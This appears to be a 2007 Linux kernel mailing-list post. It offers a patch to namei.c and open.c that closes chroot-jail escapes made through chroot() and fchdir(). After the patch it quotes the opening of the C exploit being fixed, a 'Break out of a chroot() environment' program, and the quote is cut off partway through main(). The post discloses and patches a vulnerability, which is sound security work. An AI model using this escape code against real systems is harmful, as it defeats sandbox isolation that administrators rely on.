Hello,
here is an fix to an exploit (obtained somewhere in internet). This
exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible
(with sufficient filedescriptor (if there is na directory fd opened in
root) workaround chroot with sys_fchdir. This patch fixes it.
Miloslav Semler
diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c 2007-07-25 23:05:45.0 +0200
--- linux-2.6.16.53-new/fs/namei.c 2007-09-15 16:13:50.0 +0200
*** static __always_inline void follow_dotdo
*** 728,733
--- 728,772
}
follow_mount(&nd->mnt, &nd->dentry);
}
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ struct vfsmount *rootmnt, struct dentry *root)
+ {
+ struct nameidata oldentry, newentry;
+ long ret = 1;
+
+ read_lock(¤t->fs->lock);
+ oldentry.dentry = dget(wdentry);
+ oldentry.mnt = mntget(wdmnt);
+ read_unlock(¤t->fs->lock);
+ newentry.dentry = oldentry.dentry;
+ newentry.mnt = oldentry.mnt;
+
+ follow_dotdot(&newentry);
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+
+ while(oldentry.mnt != newentry.mnt ||
+ oldentry.dentry != newentry.dentry){
+
+ memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ follow_dotdot(&newentry);
+
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+ }
+ out:
+ dput(newentry.dentry);
+ mntput(newentry.mnt);
+ return ret;
+ }
/*
* It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c 2007-07-25 23:05:45.0 +0200
--- linux-2.6.16.53-new/fs/open.c 2007-09-15 16:14:52.0 +0200
*** dput_and_out:
*** 560,565
--- 560,567
out:
return error;
}
+ long directory_is_out(struct vfsmount *, struct dentry*,
+ struct vfsmount *, struct dentry *);
asmlinkage long sys_fchdir(unsigned int fd)
{
*** asmlinkage long sys_fchdir(unsigned int
*** 581,586
--- 583,591
error = -ENOTDIR;
if (!S_ISDIR(inode->i_mode))
goto out_putf;
+ if (directory_is_out(mnt, dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto out_putf;
error = file_permission(file, MAY_EXEC);
if (!error)
*** out:
*** 594,600
asmlinkage long sys_chroot(const char __user * filename)
{
struct nameidata nd;
! int error;
error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
if (error)
--- 599,605
asmlinkage long sys_chroot(const char __user * filename)
{
struct nameidata nd;
! int error, set_wd = 0;
error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
if (error)
*** asmlinkage long sys_chroot(const char __
*** 607,615
--- 612,631
error = -EPERM;
if (!capable(CAP_SYS_CHROOT))
goto dput_and_out;
+ error = -ENOTDIR;
+ /*
+ if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto dput_and_out;
+ */
+ set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd,
+ nd.mnt, nd.dentry);
set_fs_root(current->fs, nd.mnt, nd.dentry);
set_fs_altroot();
+ /* if wd is out, reset it to . */
+ if(set_wd)
+ set_fs_pwd(current->fs, nd.mnt, nd.dentry);
error = 0;
dput_and_out:
path_release(&nd);
#include
#include
#include
#include
#include
#include
#include
#include
/*
** You should set NEED_FCHDIR to 1 if the chroot() on your
** system changes the working directory of the calling
** process to the same directory as the process was chroot()ed
** to.
**
** It is known that you do not need to set this value if you
** running on Solaris 2.7 and below.
**
*/
/*#define NEED_FCHDIR 0*/
#define TEMP_DIR "waterbuffalo"
/* Break out of a chroot() environment in C */
int main() {
int x;/* Used to move up a directory tree */
int done=0; /* Are we done yet ? */
#ifdef NEED_FCHDIR
int dir_fd; /* File descriptor to directory */
#endif
struct stat sbuf; /* The stat() buffer */
puts("chroot()");
chroot(".");
/* chdir("/");
setuid(65534); */
/*
** First we create the temporary directory if it doesn't exist
*/
if (stat(TEMP_DIR,&sbuf)<0) {
if (errno==ENOENT) {
if (mkdir(TEMP_DIR,0755)<0) {
fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else {
fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
strerror(errno));